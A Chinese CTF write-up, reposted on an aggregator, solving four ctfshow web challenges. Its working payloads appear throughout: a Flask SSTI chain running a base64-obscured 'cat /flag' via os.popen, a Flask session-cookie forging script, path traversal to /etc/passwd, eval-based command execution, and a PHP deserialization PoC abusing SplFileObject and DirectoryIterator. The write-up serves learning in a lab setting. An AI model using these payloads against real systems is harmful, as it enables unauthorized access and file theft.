ctfshow愚人杯-web-wp

这篇具有很好参考价值的文章主要介绍了ctfshow愚人杯-web-wp。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

鄙人不才,可惜这里只做出了4道相对简单的web题(悲)

热身赛:

哈哈哈,不愧是愚人杯,刚开始时脑子真没反应过来
ctfshow愚人杯-web-wpflag就是“一个不能说的密码”,绝了,我还以为flag是“群主喜欢36d”(bushi)

easy_signin

题目:

ctfshow愚人杯-web-wp

可以看到url里有一个img=xxx

xxx为十六编码

我们试一下用index.php转换为base64:aW5kZXgucGhw

包含aW5kZXgucGhw

得到:

PD9waHAKLyoKIyAtKi0gY29kaW5nOiB1dGYtOCAtKi0KIyBAQXV0aG9yOiBoMXhhCiMgQERhdGU6ICAgMjAyMy0wMy0yNyAxMDozMDozMAojIEBMYXN0IE1vZGlmaWVkIGJ5OiAgIGgxeGEKIyBATGFzdCBNb2RpZmllZCB0aW1lOiAyMDIzLTAzLTI4IDEyOjE1OjMzCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQojIEBsaW5rOiBodHRwczovL2N0ZmVyLmNvbQoKKi8KCiRpbWFnZT0kX0dFVFsnaW1nJ107CgokZmxhZyA9ICJjdGZzaG93ezBmZTk1YjRhLTU2NjEtNDU0OS04NzMxLTA1OTk0NzYyYmJhYX0iOwppZihpc3NldCgkaW1hZ2UpKXsKCSRpbWFnZSA9IGJhc2U2NF9kZWNvZGUoJGltYWdlKTsKCSRkYXRhID0gYmFzZTY0X2VuY29kZShmaWxlX2dldF9jb250ZW50cygkaW1hZ2UpKTsKCWVjaG8gIjxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsJGRhdGEnLz4iOwp9ZWxzZXsKCSRpbWFnZSA9IGJhc2U2NF9lbmNvZGUoImZhY2UucG5nIik7CgloZWFkZXIoImxvY2F0aW9uOi8/aW1nPSIuJGltYWdlKTsKfQoKCgoK

进行base64解码得到:

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-03-27 10:30:30
# @Last Modified by:   h1xa
# @Last Modified time: 2023-03-28 12:15:33
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
- /
$image=$_GET['img'];
$flag = "ctfshow{0fe95b4a-5661-4549-8731-05994762bbaa}";
if(isset($image)){
	$image = base64_decode($image);
	$data = base64_encode(file_get_contents($image));
	echo "<img src='data:image/png;base64,$data'/>";
}else{
	$image = base64_encode("face.png");
	header("location:/?img=".$image);
}

得到flag

easy_ssti

题目:页面提示有个app.py包,我们下载来看一下

from flask import Flask
from flask import render_template_string,render_template
app = Flask(__name__)

@app.route('/hello/')
def hello(name=None):
    return render_template('hello.html',name=name)
@app.route('/hello/<name>')
def hellodear(name):
    if "ge" in name:
        return render_template_string('hello %s' % name)
    elif "f" not in name:
        return render_template_string('hello %s' % name)
    else:
        return 'Nonononon'

是道SSTI注入,我们需要访问/hello.html,拼接:/hello.html/{{payload}}进行注入

先试一下{{1+1}},没问题,页面返回2,证明代码成功运行了

思路:

利用"".__class__.__bases__[0].__subclasses__()[83]构造出我们想要的类

"".__class__:当前变量的类

“”.__class__.___bases__[0]:当前变量的类的基类(最基础的类,[0]表示object类)

"".__class__.__bases__[0].__subclasses__()[83] 当前变量的类的基类的子类(到这里已经包含了其他类,83表示数组中的索引,指向一个类,83是通过爆破出来的,一边爆破一边看包返回长度及内容)

然后__init__表示将类初始化(有点像实例化,不确定)

__globals__ 取function所处空间下可使用的module、方法以及所有变量

__globals__['__builtins__'] 表示类里面的函数了(这里可以输出看一下有什么函数,如果没有我们要的可以更改__subclasses__[]看一下有没有我们想要的)

__globals__['__builtins__']['eval']() 调用eval函数

传参("__import__('os').popen('echo Y2F0IC9mbGFn |base64 -d|sh').read()")

这里已经是执行python代码了,我们动态导入os库,然后调用popen执行,用read()读取

这里出现了个问题,就是传入参数中屏蔽了斜杆“/”,所以我们需要使用base64编码绕过

但又出来个问题,我以前用的是bash,但这里发现不行,所以根据经验改为sh

最后得到payload:

http://af57955d-b019-4224-9356-8e996bc58900.challenge.ctf.show/hello/{{"".__class__.__bases__[0].__subclasses__()[83].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('echo Y2F0IC9mbGFn |base64 -d|sh').read()")}}

成功!!!

ctfshow愚人杯-web-wp

easy_flask

知识点:

  • flask session伪造
  • flask代码审计
  • 任意文件下载

题目:

进来之后有两个窗口,一个登录窗口和一个注册窗口

ctfshow愚人杯-web-wp

在注册窗口尝试注册了admin,发现用户已存在

ctfshow愚人杯-web-wp

然后在这里在登录和注册试了sql注入,没成功

我们先随便注册一个账号,登录进去

ctfshow愚人杯-web-wp

发现有个leran 点击(我刚开始没点击,在登录和注册徘徊了1个多小时(悲))

  • 得到部分源代码

    # app.py
    from flask import Flask, render_template, request, redirect, url_for, session, send_file, Response
    
    app = Flask(__name__)
    
    app.secret_key = 'S3cr3tK3y'
    
    users = {
    
    }
    
    @app.route('/')
    def index():
    # Check if user is loggedin
    if 'loggedin' in session:
    return redirect(url_for('profile'))
    return redirect(url_for('login'))
    
    @app.route('/login/', methods=['GET', 'POST'])
    def login():
    msg = ''
    if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
    username = request.form['username']
    password = request.form['password']
    if username in users and password == users[username]['password']:
    session['loggedin'] = True
    session['username'] = username
    session['role'] = users[username]['role']
    return redirect(url_for('profile'))
    else:
    msg = 'Incorrect username/password!'
    return render_template('login.html', msg=msg)
    
    @app.route('/register/', methods=['GET', 'POST'])
    def register():
    msg = ''
    if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
    username = request.form['username']
    password = request.form['password']
    if username in users:
    msg = 'Account already exists!'
    else:
    users[username] = {'password': password, 'role': 'user'}
    msg = 'You have successfully registered!'
    return render_template('register.html', msg=msg)
    
    @app.route('/profile/')
    def profile():
    if 'loggedin' in session:
    return render_template('profile2.html', username=session['username'], role=session['role'])
    return redirect(url_for('login'))
    
    ........
    

对代码进行审计,看来我们需要进行flask session伪造

  • 来自网上大佬的flask session伪造脚本:

    #!/usr/bin/env python3
    """ Flask Session Cookie Decoder/Encoder """
    __author__ = 'Wilson Sumanang, Alexandre ZANNI'
    
    # standard imports
    import sys
    import zlib
    from itsdangerous import base64_decode
    import ast
    
    # Abstract Base Classes (PEP 3119)
    if sys.version_info[0] < 3:  # < 3.0
        raise Exception('Must be using at least Python 3')
    elif sys.version_info[0] == 3 and sys.version_info[1] < 4:  # >= 3.0 && < 3.4
        from abc import ABCMeta, abstractmethod
    else:  # > 3.4
        from abc import ABC, abstractmethod
    
    # Lib for argument parsing
    import argparse
    
    # external Imports
    from flask.sessions import SecureCookieSessionInterface
    
    class MockApp(object):
    
        def __init__(self, secret_key):
            self.secret_key = secret_key
    
    if sys.version_info[0] == 3 and sys.version_info[1] < 4:  # >= 3.0 && < 3.4
        class FSCM(metaclass=ABCMeta):
            def encode(secret_key, session_cookie_structure):
    """ Encode a Flask session cookie """
    try:
                    app = MockApp(secret_key)
    
                    session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)
    
                    return s.dumps(session_cookie_structure)
                except Exception as e:
                    return "[Encoding error] {}".format(e)
                    raise e
    
            def decode(session_cookie_value, secret_key=None):
    """ Decode a Flask cookie  """
    try:
                    if (secret_key == None):
                        compressed = False
                        payload = session_cookie_value
    
                        if payload.startswith('.'):
                            compressed = True
                            payload = payload[1:]
    
                        data = payload.split(".")[0]
    
                        data = base64_decode(data)
                        if compressed:
                            data = zlib.decompress(data)
    
                        return data
                    else:
                        app = MockApp(secret_key)
    
                        si = SecureCookieSessionInterface()
                        s = si.get_signing_serializer(app)
    
                        return s.loads(session_cookie_value)
                except Exception as e:
                    return "[Decoding error] {}".format(e)
                    raise e
    else:  # > 3.4
        class FSCM(ABC):
            def encode(secret_key, session_cookie_structure):
    """ Encode a Flask session cookie """
    try:
                    app = MockApp(secret_key)
    
                    session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)
    
                    return s.dumps(session_cookie_structure)
                except Exception as e:
                    return "[Encoding error] {}".format(e)
                    raise e
    
            def decode(session_cookie_value, secret_key=None):
    """ Decode a Flask cookie  """
    try:
                    if (secret_key == None):
                        compressed = False
                        payload = session_cookie_value
    
                        if payload.startswith('.'):
                            compressed = True
                            payload = payload[1:]
    
                        data = payload.split(".")[0]
    
                        data = base64_decode(data)
                        if compressed:
                            data = zlib.decompress(data)
    
                        return data
                    else:
                        app = MockApp(secret_key)
    
                        si = SecureCookieSessionInterface()
                        s = si.get_signing_serializer(app)
    
                        return s.loads(session_cookie_value)
                except Exception as e:
                    return "[Decoding error] {}".format(e)
                    raise e
    
    if __name__ == "__main__":
        # Args are only relevant for __main__ usage
    
        ## Description for help
        parser = argparse.ArgumentParser(
            description='Flask Session Cookie Decoder/Encoder',
            epilog="Author : Wilson Sumanang, Alexandre ZANNI")
    
        ## prepare sub commands
        subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
    
        ## create the parser for the encode command
        parser_encode = subparsers.add_parser('encode', help='encode')
        parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                                   help='Secret key', required=True)
        parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                                   help='Session cookie structure', required=True)
    
        ## create the parser for the decode command
        parser_decode = subparsers.add_parser('decode', help='decode')
        parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                                   help='Secret key', required=False)
        parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                                   help='Session cookie value', required=True)
    
        ## get args
        args = parser.parse_args()
    
        ## find the option chosen
        if (args.subcommand == 'encode'):
            if (args.secret_key is not None and args.cookie_structure is not None):
                print(FSCM.encode(args.secret_key, args.cookie_structure))
        elif (args.subcommand == 'decode'):
            if (args.secret_key is not None and args.cookie_value is not None):
                print(FSCM.decode(args.cookie_value, args.secret_key))
            elif (args.cookie_value is not None):
                print(FSCM.decode(args.cookie_value))
    
    # {'loggedin': True, 'role': 'admin', 'username': 'admin'}
    

我们在浏览器把session复制下来

利用脚本进行session解密和伪造:

(解密后推理管理员伪造的规律)

D:\CTFtools\其他\pytools>[demo1.py](http://demo1.py/) decode -s "S3cr3tK3y" -c "eyJsb2dnZWRpbiI6dHJ1ZSwicm9sZSI6InVzZXIiLCJ1c2VybmFtZSI6ImFkbWluMiJ9.ZCeNjw.SI08C_xd1I55TbZzcedhgi_oqcU"
{'loggedin': True, 'role': 'user', 'username': 'admin2'}
D:\CTFtools\其他\pytools>[demo1.py](http://demo1.py/) encode -s "S3cr3tK3y" -t "{'loggedin': True, 'role': 'admin', 'username': 'admin'}"
.eJyrVsrJT09PTcnMU7IqKSpN1VEqys9JVbJSSkzJBYrpKJUWpxblJeYihGoBzOYRgA.ZCeVRA.p_DkccHDcwzHQA7CmXPqH-5OF3c

将伪造后的session导入

ctfshow愚人杯-web-wp

成功登入

ctfshow愚人杯-web-wp

发现一个txt文件,下载到一个假的flag

重新回到主页,看到那个东西下载有点像任意文件下载
ctfshow愚人杯-web-wp

我们下一个…/…/…/…/…/…/…/etc/passwd试试
ctfshow愚人杯-web-wp

成功下载,我们下载网站源代码(因为上面给的源代码只是一部分):app.py

成功下载

  • app.py源码:

    # app.py
    from flask import Flask, render_template, request, redirect, url_for, session, send_file, Response
    
    app = Flask(__name__)
    
    app.secret_key = 'S3cr3tK3y'
    
    users = {
        'admin': {'password': 'LKHSADSFHLA;KHLK;FSDHLK;ASFD', 'role': 'admin'}
    }
    
    @app.route('/')
    def index():
        # Check if user is loggedin
        if 'loggedin' in session:
            return redirect(url_for('profile'))
        return redirect(url_for('login'))
    
    @app.route('/login/', methods=['GET', 'POST'])
    def login():
        msg = ''
        if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
            username = request.form['username']
            password = request.form['password']
            if username in users and password == users[username]['password']:
                session['loggedin'] = True
                session['username'] = username
                session['role'] = users[username]['role']
                return redirect(url_for('profile'))
            else:
                msg = 'Incorrect username/password!'
        return render_template('login2.html', msg=msg)
    
    @app.route('/register/', methods=['GET', 'POST'])
    def register():
        msg = ''
        if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
            username = request.form['username']
            password = request.form['password']
            if username in users:
                msg = 'Account already exists!'
            else:
                users[username] = {'password': password, 'role': 'user'}
                msg = 'You have successfully registered!'
        return render_template('register2.html', msg=msg)
    
    @app.route('/profile/')
    def profile():
        if 'loggedin' in session:
            return render_template('profile2.html', username=session['username'], role=session['role'])
        return redirect(url_for('login'))
    
    @app.route('/show/')
    def show():
        if 'loggedin' in session:
            return render_template('show2.html')
    
    @app.route('/download/')
    def download():
        if 'loggedin' in session:
            filename = request.args.get('filename')
            if 'filename' in request.args:
                return send_file(filename, as_attachment=True)
    
        return redirect(url_for('login'))
    
    @app.route('/hello/')
    def hello_world():
        try:
            s = request.args.get('eval')
            return f"hello,{eval(s)}"
        except Exception as e:
            print(e)
            pass
    
        return "hello"
    
    @app.route('/logout/')
    def logout():
        session.pop('loggedin', None)
        session.pop('id', None)
        session.pop('username', None)
        session.pop('role', None)
        return redirect(url_for('login'))
    
    if __name__ == "__main__":
        app.run(host='0.0.0.0', port=8080)
    
    

我们注意到一段(比较狗血的就是我之前在登录界面徘徊那段时间,用目录扫描扫出了这个玩意)

def hello_world():
    try:
        s = request.args.get('eval')
        return f"hello,{eval(s)}"
    except Exception as e:
        print(e)
        pass

    return "hello"

这里我们直接可以rce了

payload:

/hello/?eval=**import**('os').popen('ls').read()

/hello/?eval=**import**('os').popen('ls /').read()

/hello/?eval=**import**('os').popen('cat /flag_is_h3re').read()

得到flag

ctfshow愚人杯-web-wp

被遗忘的反序列化(估计是非预期解)

  • 题目:

    <?php
    # 当前目录中有一个txt文件哦
    error_reporting(0);
    show_source(__FILE__);
    include("check.php");
    
    class EeE{
        public $text;
        public $eeee;
        public function __wakeup(){
            if ($this->text == "aaaa"){
                echo lcfirst($this->text);
            }
        }
    
        public function __get($kk){
            echo "$kk,eeeeeeeeeeeee";
        }
    
        public function __clone(){
            $a = new cycycycy;
            $a -> aaa();
        }
    }
    
    class cycycycy{
        public $a;
        private $b;
    
        public function aaa(){
            $get = $_GET['get'];
            $get = cipher($get);
            if($get === "p8vfuv8g8v8py"){
                eval($_POST["eval"]);
            }
        }
    
        public function __invoke(){
            $a_a = $this -> a;
            echo "\$a_a\$";
        }
    }
    
    class gBoBg{
        public $name;
        public $file;
        public $coos;
        private $eeee="-_-";
        public function __toString(){
            if(isset($this->name)){
                $a = new $this->coos($this->file);
                echo $a;
            }else if(!isset($this -> file)){
                return $this->coos->name;
            }else{
                $aa = $this->coos;
                $bb = $this->file;
                return $aa();
            }
        }
    }
    
    class w_wuw_w{
        public $aaa;
        public $key;
        public $file;
        public function __wakeup(){
            if(!preg_match("/php|63|\*|\?/i",$this -> key)){
                $this->key = file_get_contents($this -> file);
            }else{
                echo "不行哦";
            }
        }
    
        public function __destruct(){
            echo $this->aaa;
        }
        public function __invoke(){
            $this -> aaa = clone new EeE;
        }
    }
    
    $_ip = $_SERVER["HTTP_AAAAAA"];
    
    unserialize($_ip);
    
    

把代码拉到vscode比较容易看一些

ctfshow愚人杯-web-wp

先看一下题目的代码,反序列化的注入点在$_ip = $_SERVER["HTTP_AAAAAA"];

所以我们需要在http请求头注入一个参数:AAAAAA:xxx(xxx为反序列化的内容)

既然是非预期解,这里直接挑重点看了(毕竟只用到2个类)(此处省略了其他没用到的东西,方便理解):

class gBoBg{
    public $name;
    public $file;
    public $coos;
    private $eeee="-_-";
    public function __toString(){ #__toString魔术函数,但一个对象被当作字符串使用时被调用
        if(isset($this->name)){  #name有定义,但定义什么没有关系,因为后面没用到
            $a = new $this->coos($this->file); #coos作为函数的名,file作函数的参数
            echo $a; # 输出
        }
    }
}   

class w_wuw_w{
    public $aaa;
    public function __destruct(){
        echo $this->aaa; 
    }

}

我们知道在php中支持使用$a($b)这样动态的形式调用函数/实例化,

可以看到我们这一行就是这样的形式:$a = new $this->coos($this->file);

所以我们的思路是通过给coos和file赋值,实现rce或者文件操作

  • 有人就问了:coos我用了file_get_contents,file我传入了地址,为什么读取不到文件。

答:因为这行代码是对象实例化,而file_get_contents是一个函数,不是一个类,所以我们这里coos要传入一个内置类了

这里我们就需要看一下有什么内置类了

可遍历目录类有以下几个:

  • DirectoryIterator 类
  • FilesystemIterator 类
  • GlobIterator 类

可读取文件类有:

  • SplFileObject 类

我们需要用内置类来遍历目录,然后读取文件

POC:

<?php
class gBoBg{
    public $name;
    public $file;
    public $coos;
    // private $eeee="-_-";
}   

class w_wuw_w{
    public $aaa;
    public $key;
    public $file;
}

 $w=new w_wuw_w();
 $w->aaa=new gBoBg();
 $w->aaa->name="1";
 $w->aaa->file="/f1agaaa";
 $w->aaa->coos="SplFileObject";

echo serialize($w);

分两步走,第一步读取文件目录

$w->aaa->file="glob:///*f*"; #使用glob协来查找匹配的文件路径模式 这里/*f*匹配了根目录下包含f的文件夹名
$w->aaa->coos="DirectoryIterator";

得到:O:7:"w_wuw_w":3:{s:3:"aaa";O:5:"gBoBg":3:{s:4:"name";s:1:"1";s:4:"file";s:11:"glob:///*f*";s:4:"coos";s:17:"DirectoryIterator";}s:3:"key";N;s:4:"file";N;}

ctfshow愚人杯-web-wp

第二步,使用SplFileObject类读取文件内容:

$w->aaa->file="/f1agaaa";
$w->aaa->coos="SplFileObject";
得到:O:7:"w_wuw_w":3:{s:3:"aaa";O:5:"gBoBg":3:{s:4:"name";s:1:"1";s:4:"file";s:8:"/f1agaaa";s:4:"coos";s:13:"SplFileObject";}s:3:"key";N;s:4:"file";N;}

ctfshow愚人杯-web-wp文章来源地址https://www.toymoban.com/news/detail-414659.html

到了这里,关于ctfshow愚人杯-web-wp的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • ctfshow愚人杯web复现

    题目url base64解码是 face.png ,尝试 flag.txt 和 flag.php ,base64加密后传入都不对,用 index.php 加密后传入,看源码 将后面的base64解密得到flag 源码 先看怎么传参 这一句话的意思是接收header头中 aaaaaa参数的值,就例如这样的 然后提示说有一个txt,但不知道名字是什么,想办法读取

    2023年04月09日
    浏览(34)
  • ctfshow-web入门-爆破wp

    ​进入主页为登录框,随便输入信息用burp抓包,发现Authorization认证使用Base64加密传输,解密发现为刚才输入的信息 右键发送至Intruder进行爆破,使用题目给出的字典进行爆破并添加变量 添加前缀使用户名固定并用Base64加密传输,记得取消勾选url-encode,不然会转义Base64的\\\"=

    2024年02月05日
    浏览(44)
  • ctfshow-Web入门-命令执行wp

    ​简单的命令执行,使用/i模式过滤大小写flag,可以使用通配符绕过过滤。 ​比上一题多过滤system与php,可以使用其他函数来执行命令,具体可以参考PHP中常见的命令执行函数与代码执行函数_-passthru-CSDN博客 ​多过滤cat,sort,shell,\\\'.\\\',空格,\\\'\\\'\\\' ​cat,sort可用其他查询命令,如

    2024年02月05日
    浏览(74)
  • CTFShow-WEB入门篇命令执行详细Wp(29-40)

    CTFShow 平台:https://ctf.show/ preg_match():函数执行一个正则表达式匹配。 这里过滤了 flag/i 过滤的不是很多就两个所以方法有很多种 ctfshow{f6702830-5d6b-4cfb-9678-4ae7fa2ba198} 过滤了 flag、system、php 其实还可以使用上面的方法换一个命令执行函数即可。 命令执行函数: passthru、she

    2024年02月10日
    浏览(39)
  • 2023ctfshow愚人杯

    丢进cyberchef网站直接梭 分析一下代码,其实encrypt1函数对m无任何影响,那就只需要弄清楚encrypt2,这里对m进行了16次加密,且都是指定位置替换,直接写脚本即可 c1=m^p,异或运算是针对二进制的逐一异或,这里告诉了m的比特位是256位,p的比特位1024位,那么c1前1024-256位是等

    2024年02月03日
    浏览(31)
  • ctfshow 第三届愚人杯 easy_php

    这题学的了一些小tips,这里讲解一下。 这里详细讲解一下使用c绕过wakup。 O标识符代表对象类型,而C标识符代表类名类型。如果将O替换为C,则在反序列化时会将其解释为一个新的类名字符串,从而创建一个新的类而不是对象。因为这个新的类没有被序列化过,所以它没有任

    2023年04月26日
    浏览(63)
  • ctfshow新手杯wp

    最近国庆在疯玩的时候抽空做了几题,简单记录一下。 打开题目发现,点击不了,打开F12控制台发现flag: 题目是一个带密码的压缩包,提示说密码为纯大小写。用工具爆破了一下午没有结果,本来干脆不做了,后面打开文件发现备注:阿尼亚会PINyin:哇库哇库! 直接尝试出

    2023年04月25日
    浏览(40)
  • CTFshow-菜狗杯WP

    经过了48小时的奋战,在这次比赛中成功拿下4400分,同时也发现了自己的许多不足; 杂项签到 下载附件后进行解压,发现是一张图片,通过二进制查看工具(WinHex/010 Editor)打开该图片,Ctrl+F搜索文本\\\"ctfshow\\\",即可发现: ctfshow{a62b0b55682d81f7f652b26147c49040} 损坏的压缩包 通过

    2024年02月08日
    浏览(38)
  • CTFshow pwn31 wp

    PWN31 使用checksec查看保护 发现除了canary剩下保护全开,那么就没有前面几个题目那么简单了,ida打开看见他给了我们main函数地址 虽然开了pie但是在他们之间的偏移是一定的,那么我们就可以通过他给的main函数的真实地址减去偏移得到文件(elf)的基地址,然后puts_plt puts_g

    2024年04月08日
    浏览(35)
  • ctfshow misc入门wp

    目录 图片篇(基础操作) misc1 misc2 misc3 misc4 图片篇(信息附加) misc5 misc6 misc7 misc8 ​misc9 misc10 misc11 misc12 ​misc13 misc14 misc15 misc16 misc17 misc18 misc19 misc20 misc21 misc22 misc23 misc41 图片篇(文件结构) misc24 misc25 misc26 misc27 misc28 misc29 misc30 ​misc31 misc32 misc33 misc34 misc35 misc36 ​misc37

    2024年02月03日
    浏览(35)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包